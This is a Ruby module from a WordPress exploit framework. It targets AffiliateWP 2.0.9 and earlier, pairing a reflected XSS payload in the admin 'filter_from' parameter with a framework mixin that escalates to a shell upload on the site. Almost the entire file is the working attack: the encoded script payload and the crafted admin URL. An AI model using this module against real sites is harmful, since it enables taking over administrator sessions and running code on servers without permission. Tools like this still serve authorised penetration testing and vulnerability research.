# frozen_string_literal: true

class Wpxf::Exploit::AffiliateWPReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'AffiliateWP <= 2.0.9 Reflected XSS Shell Upload',
      author: [
        'DefenseCode', # Discovery
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8835'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-05-005_WordPress_AffiliateWP_Plugin_Advisory.pdf']
      ],
      date: 'May 24 2017'
    )
  end

  def check
    :unknown
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_payload
    url_encode("'</script><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?page=affiliate-wp-referrals&filter_from=#{url_payload}"
  end
end
